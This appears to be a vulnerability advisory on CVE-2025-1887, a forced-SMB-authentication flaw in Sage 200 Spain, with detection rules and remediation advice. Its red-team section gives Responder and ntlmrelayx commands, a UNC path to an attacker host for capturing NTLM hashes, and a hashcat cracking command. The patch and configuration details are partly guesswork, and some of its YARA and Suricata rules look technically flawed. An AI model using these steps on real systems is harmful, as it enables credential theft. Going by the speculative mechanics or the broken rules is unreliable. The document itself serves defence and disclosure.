CVE-2025-1887

Executive Summary

CVE-2025-1887 is a security advisory affecting Sage 200 Spain, a widely used enterprise resource planning (ERP) solution. The vulnerability allows an authenticated attacker with administrator privileges to force the application to authenticate to an attacker-controlled SMB server, thereby leaking the NTLMv2-SSP hash of the service account. This is a classic SMB relay or credential harvesting attack vector, often used to escalate privileges or move laterally within a Windows domain. The vulnerability exists in versions prior to 2025.35.000. No public exploit code or Nuclei template is available at this time, but the attack methodology is well-understood.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0, which is likely a placeholder or unassigned value. Based on the vulnerability description, a reasonable CVSS v3.1 vector would be:

• Attack Vector (AV): Network (N) – The attacker can trigger the SMB connection remotely.
• Attack Complexity (AC): Low (L) – No special conditions are required beyond having admin credentials.
• Privileges Required (PR): High (H) – Administrator privileges are required.
• User Interaction (UI): None (N) – No user interaction is needed.
• Scope (S): Changed (C) – The attack can impact resources beyond the vulnerable application (e.g., domain credentials).
• Confidentiality (C): High (H) – NTLM hashes can be cracked or relayed.
• Integrity (I): None (N) – No data modification.
• Availability (A): None (N) – No denial of service.

Estimated CVSS Score: 6.6 (Medium)

Threat Level: Medium. The requirement for administrator privileges reduces the immediate risk, but the potential for lateral movement and credential theft makes it a significant concern in a domain environment.

Deep Dive & Mechanics

The vulnerability lies in the way Sage 200 Spain handles file paths for certain configuration or data storage settings. An authenticated administrator can modify a path (e.g., for logs, backups, or shared resources) to a UNC path pointing to an attacker-controlled SMB server (e.g., \\attacker-ip\share).

When the Sage application attempts to access this path, it automatically initiates an SMB connection to the attacker's server. During this authentication process, the Windows operating system sends the NTLMv2-SSP hash of the user account running the Sage service. The attacker can capture this hash using tools like Responder or Impacket-ntlmrelayx.

The NTLMv2-SSP hash can then be:

1. Cracked offline to recover the plaintext password.
2. Relayed to another service (e.g., SQL Server, Exchange) to authenticate as the Sage service account.

This is a classic "SMB forced authentication" attack, similar to CVE-2021-1678 or the infamous "PrintNightmare" vector, but limited to admin-level configuration changes.

Vulnerable vs. Patched Code

No specific code diff is available. The patch likely involves:

• Input validation: Sanitizing or restricting UNC paths in configuration fields.
• Path canonicalization: Ensuring paths are local or within a whitelist.
• Disabling automatic SMB authentication: Using NetUseAdd or similar API calls with explicit credentials or preventing automatic credential forwarding.

Vulnerable behavior: The application accepts a UNC path and attempts to access it, triggering NTLM authentication. Patched behavior: The application either rejects UNC paths or accesses them without sending the user's credentials (e.g., using anonymous authentication or a restricted token).

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• A Windows machine with Sage 200 Spain (version < 2025.35.000) installed.
• Administrator credentials for the Sage application.
• An attacker-controlled machine on the same network (or reachable) with an SMB listener.

Steps:

1. Set up the SMB listener on the attacker machine (e.g., using Responder or Impacket):

   # Using Responder
   sudo responder -I eth0 -w -r -f
   

   Or using Impacket:

   sudo impacket-ntlmrelayx -t smb://target-server -smb2support
   

2. Log into Sage 200 Spain with an administrator account.

3. Navigate to the vulnerable configuration (e.g., backup path, log path, or shared resource path).

4. Change the path to a UNC path pointing to your attacker machine:

   \\192.168.1.100\share
   

5. Trigger the action that causes Sage to access the path (e.g., run a backup, write a log, or refresh a resource).

6. Capture the hash on the attacker machine. Responder will display the NTLMv2 hash:

   [SMB] NTLMv2-SSP Hash : username::domain:1122334455667788:0123456789abcdef:...
   

7. Crack the hash using hashcat:

   hashcat -m 5600 captured_hash.txt /usr/share/wordlists/rockyou.txt
   

Blue Team (Detection & Defense)

Detection:

• Monitor for outbound SMB connections (port 445) from the Sage server to unexpected IP addresses.
• Alert on changes to configuration paths that include UNC paths.
• Use Windows Event ID 5145 (network share object access) to detect SMB connections to external hosts.

Defense:

• Apply the vendor patch (upgrade to version 2025.35.000).
• Restrict administrative access to the Sage application.
• Use Group Policy to block outbound SMB traffic from the Sage server to the internet.
• Implement SMB signing and encryption to prevent relay attacks.
• Monitor for NTLM authentication events (Event ID 4776) from the Sage service account.

Indicators of Compromise (IOCs)

• Network: Outbound SMB connections (TCP/445) from the Sage server to an external IP.
• Logs: Windows Event ID 5145 with a share name pointing to an external UNC path.
• Configuration: UNC paths in Sage configuration files (e.g., \\attacker-ip\share).
• Authentication: NTLM authentication attempts from the Sage service account to an unknown host (Event ID 4776).

Detection Engineering

YARA Rule

rule CVE_2025_1887_SMB_Forced_Auth {
    meta:
        description = "Detects UNC paths in Sage 200 Spain configuration files"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-1887"
    strings:
        $unc_path = /\\\\[a-zA-Z0-9.-]+\\[a-zA-Z0-9._-]+/
    condition:
        $unc_path and (filetype == "xml" or filetype == "ini" or filetype == "config")
}

Sigma Rule

title: SMB Forced Authentication via Sage 200 Spain
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects outbound SMB connections from Sage 200 Spain server to external hosts
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-1887
logsource:
    product: windows
    service: security
detection:
    selection:
        EventID: 5145
        ShareName|startswith: '\\\\'
        IpAddress|notcontains: '10.'  # Adjust for your internal ranges
    condition: selection
falsepositives:
    - Legitimate network shares
level: medium

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET 445 (msg:"CVE-2025-1887 SMB Forced Authentication from Sage 200 Spain"; flow:to_server,established; content:"|ff|SMB"; depth:4; content:"|00 00 00 00|"; distance:4; within:4; reference:cve,2025-1887; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate:

1. Upgrade Sage 200 Spain to version 2025.35.000 or later.
2. Restrict administrative access to the Sage application to only trusted users.
3. Monitor for any unauthorized changes to configuration paths.

Long-term:

• Implement network segmentation to isolate the Sage server from the internet.
• Enforce SMB signing and encryption on all domain controllers.
• Use a Web Application Firewall (WAF) or IDS/IPS to detect SMB-based attacks.
• Conduct regular security audits of configuration changes.

Workaround (if patching is not possible):

• Disable the ability to change UNC paths via Group Policy or application hardening.
• Use a local firewall rule to block outbound SMB traffic from the Sage server.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert